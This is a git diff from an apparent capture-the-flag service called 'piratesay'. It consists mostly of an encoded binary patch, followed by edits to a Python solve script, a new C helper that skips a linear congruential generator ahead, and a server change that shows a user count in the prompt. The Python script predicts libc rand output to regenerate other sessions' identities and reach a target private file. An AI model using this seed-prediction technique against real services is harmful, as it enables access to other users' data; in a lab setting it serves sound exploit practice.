z+l^45cUz#hD7nNUWZP`oesiYL*8?@XTLQ)u&%D-IQ#^Cz3FMsC#j(>BQq$7XvQTeJ zS*WMeA8Pl7TCkgIcWHP>ST%#yban)~!$xaIs70z1XcbwsL90Rgi7Fa$ursWmO{4QP zBh=U27VN}6wFa6H2!;H;JB@JA=I+ILAPQ{T-AV$*bbHY2)nErFiNnC2-Os9w@O_mI4#DOyQ{*|ZN0%R zgL<(wS?tnktw%DAAXU{h%dT3!qITt~)oa$STVHqehWdtUuHD$U={kRNOKYHQOMAyn zTRXeDgFQE6uh_nA+js1|#WQ=(+Q_#kC6r(+Ask=h{Z2_{}Qln%Oj#+Eh&RVw2sI6VRcC7(> zHh22Fw+hR42e)6b*r58SY??KtYu1!jV@mDfDQiJr;)6shCnRPZCcmUW%VMmqHyDQV zOK}@42FbbjNh%SBD!dH|Hv?`rQ_9gN}!+YfL>u80@ zj_^*%-dWZiDN^r-ay)kPrW3OW!U^0jOh2s5Fd$66))f9u6_d zs%>U$FpaYqF$i)>u>Wqoxz}pO)-BaK#hmd{5jtEfy$`3D>i@--mt;5ibphruz58a z*1gj}WJD~b(LgL_L)VM3)Y%s>f-M1zEq@5HpqCPgZvl*2?8c1o7f=JMo(hv)$WTUW zFc6|jV60AzNx1S>#fSb8?Q99QVwY~l%+3)YPOXTGbY0ckTVyoQU`0@XB=|gxXeg%+ z^#lSf?WIO74GoxuDryy)3At#sh`Uq}ffezvuQwz{x=^pwsKc(?LP-&svCniUOhXM_ zPm!8pA36*D7`xrEt7v~}1DjWiM$(4eeIX;*W}1uDW1vv;VaLz4z$PdQ%TYBH0*&Ut z&LBEM-ZZua$fU4wNiX#}wzo!z2=?y8z04dT(pwp;zr0z(u1pHfN_@RIol2Mk%B}v%c8|>aP)3}6CH;N)v|0Sb8 z<~P)0;Wsp9LPi(j!%k5`Rm;@8Vx@|Xv5~Csb$%7rOn<#f#APu8v5CCtho<)$B{E8j z4cEyBwgv({MhnI`g0G0VYXaR{;B#Gl@HE(b!91gcd|=8geR86r>WvBP6C2T+y@L3D zX*4(bx?9@)-CJV))&LW)Z)@vl>A>_&G1t%-TP#~_sNucY;s!SuvyA!xefq{!l?DMA z;CHQ;_=}ibAe_W*qYU!MeJ>ZM{F+MmF*(|9l>=1_d4rxMlbBNwdk}*FeFf{u*c6s- zVNqC=7XfiI1vk=vMX$eE4Se)acUTNcL?+6oxGj3@QW3)M3?pXhS#XbT-1j7JkIm4^ zVGINjSQ9la>!8UbrhDyhGQ}Iy=_9IhFfFD68`S)=8c~=6 zUwua>CcgNl5X~;TLAUs^*?yQU^J5o%92?uwGNjcA%|veqZV?yth!b77sV_%=hHx*V zJUZ6WXaio|i%bX- zD%pUij_&YC1r3PoE$|Cd!bUt(v|IGq&=+nW;U@caiw{RA_1KE`UA>`J$inak+T zXR*f$+;FK_E!x)6!q}R?7JOj=k0+uO{HFt-kwC2tBCvPdVk*8I?$gmqa~H{2)9w$3 zA)vaqFYHIh)WIm7W+#AUT~M-Ki!WeMeJi`$0=;;2RMoJxc=ia#dJX;R-y*8I77>cX zpr3@+`ea%j9tlstNY=#Q3YaTj+rf z{p|1D4zVWR+MRGVl)9!njL_aH`k83VEw|H++vHmo#Na_au*a5Qm_AV<55!5#e?}NL zVnD+rv4YZn&>sl=xP_yB7!=>XFw1YmbgLI3$GpEbz}RH0wf;aS8A=Q`&<#6#+JkV_ z2HZ-}P*&^j?ExJtR}<_-;O)iyu?08qKn#a|+k>5Lm>2l#1HJgFhHClhUjJ5VL^W(o z7G5R8469bQsSC)Na}}P&sil}1i2=DPD0fz_4F*NrsqW|$eOryEWb&o8u#X>dm-&Tz zGZDXurT~r7C;Sj#fLORg_`CI9UgXYEfunSw~--b`XU{J_x z+-DH^$%u-s$7A|-v4A9jy5M$bjVQ8Jm>KnB<)b=ihB1sY@*{k6Mjf?*&aM#d<0ei1 z*9@IZTKd6AgQz~56`J|-u6%VLmWKp{e&2u(^_c3Ce{Aqu#xH2oB!YiA7M7Z6BCSen z3}AwW9Qa2wJe$gI><9};@K^WAwyeM;4%3NlG02d!7A7R)3MQQ3N83a2A`?Jd3bY{K zjMKI1zFplL^tXnfpel&*O1F93$H}WPFNQi~e8e5WBEPqTdA4T`J%%xDoa4%;kzx&( zT|7QK{3_Dg6T`#jk?uhH3DV<8-B_G;{cw1A9@12#wMe~4n~?56iZyPw?8n2ygOvUR z5q~AJ+e_)Js<~zf~ z`3}Y&KR-O|MLO?2)Pr;oX+P4s_lJiMAf>}C6Q#9t#Y4`Db6^WrZItO6+=2L2lGHvp^_DXU619(EpbRNtqsd*k(2(g~t+WW1Na z<0Jq_4*tH3zo&u8I%T=>z`ljQGr-G{n)24X@w$*j^*)Ec3&?+o+EkT3s6Cv2D6cAQ z!t(pZ+@JeE&V$(xWgW=;n)~Y+-$>Wrd*k)r{`xn+I`f~ez49uW$|j?T6Sm&{^zbl4 z%Bs@`y;TqIa~-if#|S7hs{Jz?-1{3&dP6#5?1AD((>ioRB~i1P0Te*8Ju zM&|cx54#U#?2!#FLH?6e9zJmpKW;#efu5>|_og4ZJ-zzA{`C8Y(;R*$lzuf`v@HtW z)L#t`->G!=S3P_n_0U79)%QJ^s{d9tj%2#vH|@WHUvVMxR9V%-AM-;)y!yV2{Qf_4 z$Fp`={t{pp~du+Vy(yrM?NDLyC5K9!@v}c~1SH z=?H+Sy>}wN^=-(rwpVY8+2dQte+fQK{$a}TtNtgyA>S{5cX)We%r}~$0O7v_ehm2i z3U3h}L&V>Yzgyt%7Wlgb{_k7B{7xI2CF`OPM+bdNjt-NiZ^Kz>`j#9WsWORu*Emhl zGkx-+K+)#+;l?T2rBZWmV)Hw36mRJ;^FRD-7*7}2XI<4t;h&B{Y@|hpx##q8m9Lg{ z*sF?8k!)hVK$m#m|B{1l5p?V`_korqYf^$KPScSn6PBmarXqP^;>T3OO}&q0%Y3C~ ztbTJ3Ws~nO!?Jy_vw%KRv`5JsRc{`T|W{7ZRV{W1cX-+MH_?`VE!$NYYy`MpN-`-~TEl5))NFEaHY=2EF!rG`pN zRBC>&%lsaqSK+lPty8J_J;NqN_o%dArTbL6U!?;oJ*HCgdx9qweM+TKm0nOO>y+(q ztJF|wiAp^xEmvu+O6yeGq|zRh_N#QiN(WSWM5V`7dQzolRC->e7gTytrL0Tor_y|t z8Y(rvKUc2kT9r1cv`MAyD&3*dewFT1=>e4@5z)X+N08Pm3mcLtI|4^HmbBqrR^&1QRxnq_N#QCO3iV1K+#83 zdQ7FqRXV8BlPW!>(laWJs`R`{FQ}CD$o_Dt)UDEdl^QB7QK?6zrk%qrTbNSK&3}idR(Q0Dm|&vQz|{9(x^($tMsBuP5s!-%HLF)Z_=v$hM6kd z{Qgh5qP;4uRcWJ2+f{0QpQm5Z`&4>Br2{HGqSE6kJ*m<&Dm|~#iz;=g^{;%DmZ-E` zrL`(;RB5|Pcc^rqN)M>i{GN>I=SLKNT&065HNXE7RkZni7pB%<&F{D5E80-0`8^ho zqF2<^EH+B6X~sfmpD}xO>AX_Utl52noPFDzIi;R?S14F4BgxsLoTN3(l3jK(MW*)i zOaS;0vfG@rj$b4>&J^1@B`x_K$d&T{v{~Zi<{Zyf?0b-me`X+<3-3YZ1Y)3x2LaBn z7my7dUxXE$2PHn4t_Q{v&m@=QEh_!2$Z=8w9sf+(r}Kp9-$MlVXZDcjcW~mJ*$>k7 zRPZDuXVFSh=8HI`^e6J9KjK3BUnr26m`m3%7PZ^~L>McBImY8TBhlsf9daELaqUXX zp={XM1IRfI*ORmAQR$ha+22LCYkMIeX>KC5foXG)k+dM`Fj!sMGdL$L6ogxw3v(ou z3nE{81A>zl3Bu6akdm}m5GC3diS0^3c(gPUP$7tN?Nt(8DG0CTqcUDW)M~F1Ta_T{ zv=tu3BF+T%$lSZQE@LW)z1n7yw%+wJir%3;LISSNz(2QO`!wvF%91vvwSsNGHkpXc zdG90Vfc9+?aDBmtAO^HA6LEu3=ZN-OV!JVk);o`BcTf|2$$vl%$F(~#Ad;GdZiCvl zD5u#)&ix#7Y((pl6AMaEc1kU^bVmA^TaY@RMFmcR#ZVxvMDGIpA+E>ZEp+C5hprxl z4$ce2Oy{TS6~2XIPF5~^XJ zXB0|J7KBrq3)a*WLAbPJNJ>o=M5=~={=-t!1mV{HKmyVQk)tJ`ZK)Z8$k(nU0d7Hz z*J$NFHB%6V){k(Mnv+UHqeOcWp(-^uV*=!O*cC^RBsytSOw3P6L9I!-s7*`yZ%EdY zzK*s!lKz$2p7ax3^Q52SIw9#wFeXob2|VywmbML*A$1%8kTzZn>#QiQ-RVy*0jKs4 zs3iRdoWwKjPRL1rD!B#({t0d#5@GRrTnLM&F=r#L$F&fH7$J@}RGLwcGY|SZcG30N z94}qda=CkARuG(7v!R32UHAyDHCkS97iH|iHMnR_>E4w^^0E?9x!e8W{}5LcCER~j zT73a3x-Vu>ab5FJ&QQ+XAes%5DK2VvqG;CQbc#YuTZE!nSEjE4;bbZ9tfl%F zi068!l~t8214S|ws1}4%3ldS2N%gv@zzY2bF`+B1LRU$lvcPJyfRVLc*I*2(#nsjV z8&rX-p>0;ZsLrK*NYyoD?}mPEZ3WI**9an?>h?RPkf;o=kPQ zsoGBcAQkv$oU*!e$-9}>OhiyBO*~=!KZxfqWZrE`=!-;bR}H%k#jcE*kyy%d%CV@IC@#|!)YZIss5}&3vcF6Yr zf#mcgP|Fgth-YU4Da}%;OIM&K;Yj0ftI3+2bT4RaIz(hmRr7+?;L0iygi|X-cGh%3 zxU}8G<`G1ymPR%1N}{H^nPVN*xto)82SwrRS~rcZJXcO3e+gh>3)pjtGY`@A7Rbq& zob(Q^*|@Vfi!rB*E71o|(#lEYvTg$Jft+zO5l*x*RBkFiO69aL5v6W%)6@Ea`DioU=i=+=(AS+fo^O#+PXi15C>%(`acQL0hJ$ZJ{1@rilUK zN{bTcP7^O67-|29IK63Nveln73wc`7k8swL9*37Wll})~T`ZrbQke;d!JFi0yo==F z$H}LVW^w8OfOO+0@G}(4cF|ow$^H0S)W2dX&W8$A3c?(Y)%Sa*_7i< zK~33-0Lx~;{3*!}H|bq4A7b^SGAcngc$WOnIJ@^~nG}we6HFJ3zkqYz{B+{Eo=}QC zjFZ8$|0t^8O(^NC-%eLw!ihPlC$cHWNtVr~i5c%EMSdpAe49Awgh?gzNN$8?V@hOm zenxph9-SDUN_jn^*t@YTaYZd-P7377PMq9#NaY>4$x7vu|3qfWm2yi7j>(l*#bg8_ zhBrXgm^M+(y309Pat7LwlC29v(7aYyO{d#BOa29nlfrdT_;$*pdl(!41Dx|uYWERB z!DwS)hfjycjlpyVqe2s$FCb|*AJk5}`bK*iX#VRynmqB*Y` zlDx1xVGMlmKQm~AI3lm^b_aXH?5rw#W_LmY@Q=sP2zNyKZ%x<=As4IyfS~+l`3)bzFYo%X4HA@kRnJwS!d| zXzq`p+ZV=?&76_*pWT*A^1d*O{Ky%Jes)^|J-FU2v~xx-fPMry_hgWJJ0tssZ%bGO z+uW=2|Mb~yZcKk4aFbspiYU9O&upZgX7BoOBEjPhjc9^H?&<>8p zzb|CD`C_zzk*&$ZK*5ql8SFFu9~Dho0(Eh{r2w z@QN7j?`xp@dLeV+od( zj6zoe-R_;=n?Otn{UrIx@f2(mEGrxd^bd}l&leG%NVds(ojBCe#`AQomNuxGF|>*S zgL;r8x-r;|gsV|Lv1Hr?5Jdy1!^mg!`b~BO+W!;SSoSZ#L07Kq571J&a%X=APEspB zdp!8)YCOvm%N(xR_*c z!q91%!?jotB|0s0xULk0N2g^DSA`(Tbz0_dRSLqZ(=vz4D~MYCRbs0WM4e8{9Ik3X zH0rd>;aWC^9t@iFnWX6Q96WllcAb_vTxyv^r)3V8TISGcnZvazWjh#l=(Nn?Qp+4V zEpxcmWzaMKUVSr3TkqnKc85;O9ImS~azX6VX_>>dDeVrh?bm6U!?iiD5IF~QTIO(F zUvLG80iBjPTsH`Hj_9<^;kq%2OnywKWe%5G=Fn-G!=;uvbXw+cnadmrw9Ju|SU{av zOv@au8RmJGb)9E_#88kSn4p)93)-l%ixRpDmUAAuffI!)(g3l^a;*p7AtRbAAA)%j?9+oti?c zB6>OGq`Fhd$C;i$L~icOR2|Fv8QA*MX8sZ(NdGw$Nh?h&6Kp-GF0G7{iY|RG<#^J4 zAl&-%5Rf)IV=IUpy$a>i=A>N-B47U}Vw;;rPr>8$tB9Bq|PVFQu#X zC7mppuGW`yT3r48TBtWe%>9oF-uGW|I+t7scJh{H4{|gjN&(9!t@USst@g%o% zEt+CZV<`fB1%fqVVdgZJ&_`ov@=cJE{O@x9{T#vMXc`4LjRFlzehGCZ*Xik0?rmZ? zXXa^iGh)dNkdSesCK$v@2UVx)BzJKChnVxz+O2jCWfkFyB~tsd2;{>sa^?eqse+j3 zgz$=dUP4)i^ELvZKb3VIWvzwi%)8QvxtFqJBi}%QjBg5A_nN54(rAjol2b9m$trOO zWxq=dLL+Jtx2`8={}6)v}Eb3900}S(GiFg>v_0lNZsS_LRscH%c6)s_EG-cTL70 zaebQd>BJI=On#gid5dh!5ap3?2m`C;@|iGm?p9&t0yIHtAWThlF|Ho(-bJ}3luzx_ zDDp}vvYF~JikMnrOeq*cR;IO(mvK;7h(?F(YvBvyXpWlax}VUPg7N_;Lp|X9lUaiC zFXA%eBcbsNCMwN6?Q5ta`6(@RKT^`{-B>==lgq?2S4L$z=}!w2vLT{L!s$3YDrS5| z$S$UQp^eb7tBh<$nqAay`5WEI9g!6^C~4MX+Sh1Hp2A3|;Gy9W3!3WaT%* zqJ{eJuMvz)yjUzsOvH!~B?|SiR0131-|C>plPh%fboHlO9pzw}u8SKEo*`~!`Sgtb zjJ6vSayrB-%}BL_*TQ)+=;`GdEtgE?h@7bt(x1_$OX;WT9M7T?p4T!dia=VOLr0+( zwAd4h;|-MmPc4Oph9h#J&fx-ocC7Y|sh$m@R(yU(rr9X(mFwJw<~h)N#Xt%mQT``;oaFTn3J-Bco<{i>A@3nm{(XBgF^4#qO;Oev*^lC{ zBm0<{{lFgQX|k9q{y2(%fJXhoRQG#(oD)#puTAWS7xiR$bJW|%rN_Q4#j(CWN^Pw{5$y+z0po8 z60VX(#)E?njjVeE)c|pPYk=ai|4VKn(mCOk%1~Fiq+PE9gMbha~Q)^|OOKI_4 zXyKp$ry`-F3C6$5WI4HikK<`Hf4OEef1NbH=zcLsHdy+DoU%zv zr&$X82O>5@#1<`|W;4#nnf-fa(yO$NhrqT~Q_Vh3?UKWs{7j7MWJyz_1kL5B?=tB^ zHtPTyq%BNnTr68*np``022Ac!^vuFS8BP!Eanm}>LJ!>s91*zL*O0q7nHXtNCT&2; z=$E3%=#`n0`3Q6q5$L>G^$J!>YnfU>g1M?8{>2Q6Y6so4W?nE>RePJ8mV*nXscLU? zyNFyucPd9@-)*_hTBuQ!BDn`{bH0h}X=$Y*`^arr978pe8DSS#s4wmx~a(T!hf&I)yIRB6PVHq03bZ2mJ~Hc6xs!MO@2e z49KIWddGvv&UQdGrpvi^0xilqwv2reP|Bk?B_#kzpk-c1`^4u7$S2?`0-hR6gCJ=S zU6YGCzK2szFHRrgFO?K;VQJ4IJN0c`Cpp~x(u31Ff#plgLl3z)l4&ZDh^a&s2=1nc zh-FqH==n(_soFz0<+3p!p)~)Yo?+a6F6~NJLD&IQHW|1dD?HOq^Q_&Eph#Z zxL%N4-;Qxbh>PA@VVstb6EMRf>PN&t)iVAFm3vN>dm~mZiY$#t=J+{I$qy1&#F0UG z^7n~2uBVZX>9jb1BQ@i|jX2@BUnX#~2Gp21AIvvSr@Hh=yOVC4Otc3cglF?Plq;y5B%zT}teJT+^W){3lavLzz|VwHC1(FA;lPOl$`I9<_S+4N}yX zWdf0ZGDWVQLUlq@_ddncu9#dMY;C$!7HfzZ^mH)A^l$NRufV4r+>No2M=Pz`lp<2j z5jn6Y@g6j7%1jb0Mm5=BS~hVyBFFbQ*C4k<=uYdhPWpx8icB)CScrY=dRc#?Oc>Ot z&LjIdB9CLt=aYj9mt2bK)9?z>;*={>7NxArrg@#t*~)CNj*wwfD`5se~~5y>G|kIt7P=aWR{Y$B*lT-QBnzb$D^*~m@K|1Wkgm=ww972 zbt2KJnzk~VF49Cf_)dBebS#5_3{gjsj#`V7p+EB6P{ehKBAHV~i?XscN4k<*1(p_&4GLlngo2PP zZH4z7Y$}e+)uxH+#>WcqMMY_5fe8@BCZ=el7^dx++LZL{6i4AWTxBJ?^RV~`i}4YQ z6)9W0u#_cC1-nc_55i)Tr$W?}kYRDPQ&O&s0rQ2ekh8!lWyBv~IZciZ-Rj#kY8+Gw$^Lnq#dF$YAdbP_RIOn*tge2`?AUL8}{Z6Yys zGlhAqBRWftmu!+p!D1eIF~=MYx#Xi`VZ?;OgD-O>*JZAhWV%iAXhunqZj@?zb=t^SDoR|LEn{oCYLpDyi6geV zMMTn!OR{Yq=QhVi=H*_LHR3ke(r4Cr{JWyB?DsOM7|lwB*Pxi0oA zTst-GFBpm%4l+Fc*YJ80O?h!kWaapy+crHfJchp?;O|BJ=~|(lQHTq5yiV!6_|q=n zq|?c95hqB;$w8-dI_1)d9_aWKx|)rXPLp~4Dmpdbl&}dWOe}Hg#fk62Nxz$}h|fU_ z<%#rC52qgoI86`P<8<|}bfU?i<2jsktZOCd<`1ZjT#fU})vLKSho>yzsZ4ij2A@XB zDqw35aaSKt@s{!QVxGE~XP5FZlvj!+OeFhx(md`ezw?6I}cEU$^n3O+0HU=VhBV_3^1&IB(=do9LW-1Lv!GZU^Tx`4z=DyC(6J zAHmXFR{w~nc=)7AJZUXYyN+6$H19{ez!5Cvd3$-a!P6YctGLSn!z3-KB$lKloG;~C z*^5vY)uHxED(tG@NuEm1Jv?I_&z#LO8p&uQXwuR$?m`E7Dp&Ko*?fE%SqRojn#5gD zoM7%*%JXjExsXy+$@8z{V{lbji4I)ClZtsAm@78(Tn|qz<7s4*C3LFfnM--v($$q^ zbNM*O7Iaq|zXmP@JB}l&z0a5N+wDlui$BQgW?oc52F2hSJC}Sf+kj;4dd9LRa6e@?x~9gcl-IP!+t~M{?(4NL28vD|xBGXBvD(8NZ^GPcwMt5`=BPn5yuqNhsN@wIDB)f$BWs5X8Mze*TCb+3fV zlomqOP5kQlyrzP0hM6k3yNHZc;J5|e3>#%SQe@=SC-HOym_|erp1$Og3%bw1wOoiU z(8O7kus30Qn6JE!?mJ0$aTf%5xEq5rX|9DxMqEd}%*mg_tArc6_DZOXXV0PXW0&$R z6?_xIE4=?c3ZzxDg}dHCXGGvs+zF{#O;uZUgQ)fn8FO8gh^tf!YR{TXHW@)BHVc~XxwY~M8q@rGGGlm&-ZX=qh^f!NA>FX%8j<0!YX1t{me4z z?`dbg9@_ZKhfQ9wrCPYl*N*MnDBaoW-^oH9K7VU#FQwSWt2@Zl zrt-cJ_V@}n_q8!>yy~O1ua0hC4cq}_oq<`{FA`fig2t9>m7P7{EV^*6#v=e)XVH-_s-#DwUdpkBXoF(>Y3?UO6 zBDZXvg-x1iQ}bZ&EZWi#`vjXAEwuZ-nT-vI8S=YZdeFd?>wVDI*X$3W@jkpBNSnH0 zFFn$@Gq^oK#(^Ml>g%S@6JTpvG9KEFeIQ{nG?9!!1!yZpAWkM`&xpXeO-{;*MrThsR^{j96lPr>ett-_SH9R zxTxFrOT|VsMCU$jaKJ5QS>SLR0s3;VtT77+J z*z5(kBs+;_D{$@{3DT>$@TV?nC<$0FPvG6YTd;GeG6iYhgPn%4jUVZ^VcA;cX+G?z z+akebH8piCB>mCXhF$RRwFv4`>SB6z)#roBNegT!h~9#u^oC(3LC{AQM02t8AKKOf zhs73xVN#90b09uSfTFU4g$${5M~Gf#_4W8$0b*a#wjgxJ=ObvlPU;HU*I#x-i$5&7 zQR=#G{krNkXbDP@A5h<$eNNksLu28S7>*$PZ2?~hd+md(4Zc7_W{zO-!>Hj_+T73= z+KC#;s$iRI;cmiqD*WDKiw8G#0@I35H+AG7A2(+D{X4Zwhz~NCMEYz%7e^ujE zHB5doL_`R2cM_S)R%}2>11~uf{c8f0>_XIwvHgFoU0rNkM-`rAO_CB!;*f-jmdg2~ z55?=)X+v5eVmo$X)5I~2Ti~U)>;19ac-Lls9H&)91gHcFp;FNnkU)Th0JRTQsSpqR z1c49_rAps;K%ymhnz!`%m5p>RHq6KY8?Js%fO4GRtjr^0G8dv_@`~dK*d@j$kzgeUsRVRIydzxCx-RXMgq~m-tMN(p_<)d+tl_I6sU~# z319b-(PP-Soqbw`a;vR$T1$Mu@&#m$=8;E1X;l8`qeT&nI#dRPu!ZM9ix@rp0@*>^ zh(4;XF~UECF#)^aB2^Rhib0`Dtp-}i5L7*$h?2IjavnmA6f*cgA3Y_cen@du^N0Ky9 zO;NE_HDIV>?_xf?s2o#6@1a5*Zg^}_SGBNmqMXXu@E`DFO;bZcrX*+1=}*bgQ*v` zDuxo1ae@;&kw`5CZ@j2L*CkN7&@6ba8aBwrP%5(*WCIz+vp@vvcHTv4QX$~MEi$Fm z?q&H+G>e_cVJzl$;WY{a5Of>{+7{*$vXwu^Bd0!0O$sM7-vv`zK#x%RM3~blmg_Q( zqiw!~s2sHBh>b=K+t4-+V%CA#@ij^7PH}IUTD4kP;BMO@)NG>isvJ>ZIIpy2qK{Xk z@ZMT;yh7H^HOg>Tu7Pk5=&9LLGqY31YM!&TX*ST*U31AKhWl3gq|6?0zKUxB=G8Lw zO1ZrO9f1iGUbwcw3|VldJ~NHwc7kk(oS95c%zq}q4-3sTZPylbEl+dl zGTtetS9pA0Qgp7VuCFEa3aim_Q!Iy|jzn#dZq{8a8=m52hC8k1Fa&XUv0NT5akhW- z<{`YGosA*90>dLC!#DzK1>0R)N_UY%xv-4aR&tBea7OZ9NSMtq#Xd`!Wy3^)lZ7mZ zUENDMUoYY}OS^(Iw2+X@7*n&hk?4+yLe}g+CvvKXs}4^(sC40WooT2@j=nBgWgeiy z;4{RZ1Pxp+^N-{!KZZ!4lW3d9)YB&H?15?Iu!@)uVlUAPNU)lSFv1E-(c~qc0x{?E z#8D*<=@uj{hclc>Kw7JwNY$2SV~*6=U4(NxUdf4YNPK*uv%JzCT5fzIZ9pd(+LzP= zt=0-<4D>f}i5Tl041KS?=gBR7Pj9)r)$~1a@X14c&m6jXNbbDbp90KE$GG|tgo43= zkhypPU*!bExGdnS9^IePzgs~4bYIFWz9rqiGK+6Dy02pv-)3|_$Si)1(S0Yg_}G!K72wkF8KcbKtUe5aXi<=iGyNIF0qapZW;L&12KPj{P7(`R1)cSy~(K-MUfXShb;t?1%|Btt-pA@s_F z&1b+|AM~Ted*y*GmRBFmza7ZiAm}%vT*Y_en!(cd%Cp6L<#Px;@p8ADtAYG$KF0!i zzWH7A={FAr^*;`J)<49@9eyRCx9zsq=)RXAlQ56J%t!a>b+EY?iA|o|s`T1?df%6I zq3^}Ni7mH#%8dTo|J7-43JsnJSmfXRlF5 zSH-nHy6~>JmV22U>V=qmD*f95{R`mTWCl!#Gt0bw`G=I%tIsz>@HXLjuY6u5Pzd4L zVewEu+vn;Xcbaek8RXl2DVxvlV9DME`42zA*$1*+wy4ZsZWu*+9lzKv45JZxx(btC zT{D#aPKSpd>)aj5r-S)HUVU1iACwwo|9l~m&m$51N5nVx>NkG&nOE+wBlu(RJj|o# z*R1$>zbE`PlF!=_`aO|$_(%jlE_i?H&#wNy{2)57o}~!>xd_hv%k%R2F7W+5Pm51c zfDh*2-1sXmpO+)}TfhgPuXJA2=knYl^4VL!0pJ7B=ej|Vo!`Q(Q}C{S7{oQh1mZzS zW&d!mki2@X0pFSPemxMO=Q%8S`8*!Mxq(X_{jg2D_`<9~*ck}2+!{(K{FM=Ntyx)W$jhu9N`1Ke+chAdz(b0!Hf?NPTuz7FKeDaHt zd>)D5KXmzo^MR)#^v^}`7lE_=muSoN!mC2xZ^8{g{uRmReWHiG3|#Vt2!5N>+u_HS z$ARb7=Wko{+xd2vPxuK0Kg`VQ7k)F5hkreS{~&@tEqK2PKWO-4g#IPqd2;?*gx*B- z@R-Xd?5~{>`U4UCmI%(BDmdPS-+q)M^y?A)(Fp!{1pf{2yng>ZaOyqXEe+x);c6tG z7bEza5qw)juErwxwGsR#;MAYt@5E7|?>FJMoyQ~jd@EAVxd^@NI_TQOj}Aui;dUW; z^8c`_XSg%d_apSO^`T#&OaC@P|55~h!<8HEW%Um6&Aq?lxUiE~|6RaEPV{#=KE{)9 zuH0;o6j#kbuIs|XA!*~Rzk?eF@G@Yr&|biq#7PZn@=Yw50mH$BZ7h>w-3n*YRTpV! z#-ewf=0hIvhZXu&ERe4*z+_v2tqj)i4l;yk11GmuD@7XIawxFQ-GC!UvstawXC_W0qs5Vr$(o;7 zI(;x}a7(T1Fwj^>7M~U-0(cqFU;;;!MC}?rg|&hCh_sDcIrMR?5~8pyLQ{MOQM0EH zIwKG4!RHe>m)gH6=4c-wwl zSkMnDAswYI8lepZ($1RX)cdStJi(iH{%lb%;VJOE~S6=sddYl3h^q6}mt+R+v4O7^8{~GF|wd&je zq_3=5$68f_-V&=SE<$1Nj+=;dmf-;O!@_h5ki?d(G-fiG(h- z1_!I6RJYi!ZXnH>0`9F!hZL(zZf>vyAJFv5a@a|N<`7k;;y>2$(HPC{k_5ToP5#cXV zER#q$<`No*7L)9+SA2p9E=(a)ezn_ae9&f_{?*?V3LHhk=U01(#)C@e;*ft5_?tL` zP3!+nm(W-(JNP*#LDzHKrI|$nAH=5h|GDGWn7>;XFwKWm2H%DA0zoZOcOgw&%fDh5 zdQGfLUXF!HcaZ-M@FR%TN{C@(k$~H?>JI99O=kBKrDqmWz%E1e`$Ntm$tG)X21LWc^ zpf=XO%CGUuxZ(4sc9Tn%V@?Zp87QB-lzoDUY5BUYG54UQxK=9~;eQ=C%RlVyYoz=) zDd1w#GHCpcmzEpu&;73ahkP)H_8MfQdHJN`-R<(PLVoTMN-S)@r+#I*hG6pbgYs*9TZI2F{2ChJL?A!Pr|~BpzoqW} z-T$mj@9#pAQa*)w9TXwArXBw)&X}|h=pFd4@~3*0!R)`OH3# R|MpibgKYBSco~KK{{cY8K(zn> literal 0 HcmV?d00001 diff --git a/service/entrypoint.sh b/service/entrypoint.sh index fa93287..afbe04c 100755 --- a/service/entrypoint.sh +++ b/service/entrypoint.sh @@ -22,4 +22,4 @@ make -C /src exec su -s /bin/sh -c '/src/piratesay' service # Keep the container running -tail -f /dev/null +# tail -f /dev/null diff --git a/service/src/a.py b/service/src/a.py index c322bae..6750b9b 100644 --- a/service/src/a.py +++ b/service/src/a.py @@ -116,7 +116,7 @@ def recv_until_prompt(prompt): current_identity = identity_response.split("\n")[0].split(":")[1].strip() # Generate all potential identities up to the current one -libc.srand(seed) +libc.srand(0x3039) potential_identities = [] while True: identity_string = generate_identity_string() @@ -127,8 +127,8 @@ def recv_until_prompt(prompt): print("Match at offset:", len(potential_identities)) # The target file we're looking for -target_directory = "DeadMansBay" -target_file = "mythic_powder_monkey_found_shipwreck_2017-09-09_2055.private" +target_directory = "ParrotPerch" +target_file = "fearless_crowsnest_scam_2024-07-15_1924.private" target_name = target_file.split('_')[0] + '_' + target_file.split('_')[1] # Filter potential identities to find matching ones diff --git a/service/src/rand_finder.c b/service/src/rand_finder.c new file mode 100644 index 0000000..02b38fd --- /dev/null +++ b/service/src/rand_finder.c @@ -0,0 +1,40 @@ +#include + +static unsigned long int next = 1; + +void advance_rand_state(unsigned long int *state, unsigned int a, unsigned int c, unsigned int m, unsigned int k) +{ + unsigned long int a_k = 1; + unsigned long int c_k = 0; + unsigned long int temp_a = a; + unsigned long int temp_c = c; + + while (k > 0) + { + if (k & 1) + { + a_k = (a_k * temp_a) % m; + c_k = (c_k * temp_a + temp_c) % m; + } + temp_c = (temp_c * (temp_a + 1)) % m; + temp_a = (temp_a * temp_a) % m; + k >>= 1; + } + + *state = (a_k * (*state) + c_k) % m; +} + +int main() +{ + unsigned long int state = 1; // Example initial state + unsigned int a = 1103515245; + unsigned int c = 12345; + unsigned int m = 1 << 31; // 2^31 + unsigned int k = 1000; + + advance_rand_state(&state, a, c, m, k); + + printf("State after advancing 1000 steps: %lu\n", state); + + return 0; +} \ No newline at end of file diff --git a/service/src/server.c b/service/src/server.c index 6734e60..3788f42 100644 --- a/service/src/server.c +++ b/service/src/server.c @@ -17,6 +17,7 @@ char root_dir[PATH_MAX]; int server_fd; // Make server_fd global so it can be accessed in the signal handler time_t startup_time = 0; +int user_count = 0; void handle_sigint(int sig) { @@ -126,7 +127,7 @@ void print_terminal_prompt(session_t *session) char dir_message[PATH_MAX]; memset(dir_print, 0, sizeof(dir_print)); strcat(dir_print, session->local_dir); - safe_snprintf(dir_message, sizeof(dir_message), "\n%s%s:%s$ ", session->pirate_adjective, session->pirate_noun, dir_print); + safe_snprintf(dir_message, sizeof(dir_message), "\n%s%s(%d):%s$ ", session->pirate_adjective, session->pirate_noun, user_count, dir_print); send(session->sock, dir_message, strlen(dir_message), 0); } @@ -268,6 +269,7 @@ int main() char pirate_identity[65]; generate_random_identity(pirate_identity); // Generate a random identity + user_count++; pid_t pid = fork(); if (pid < 0)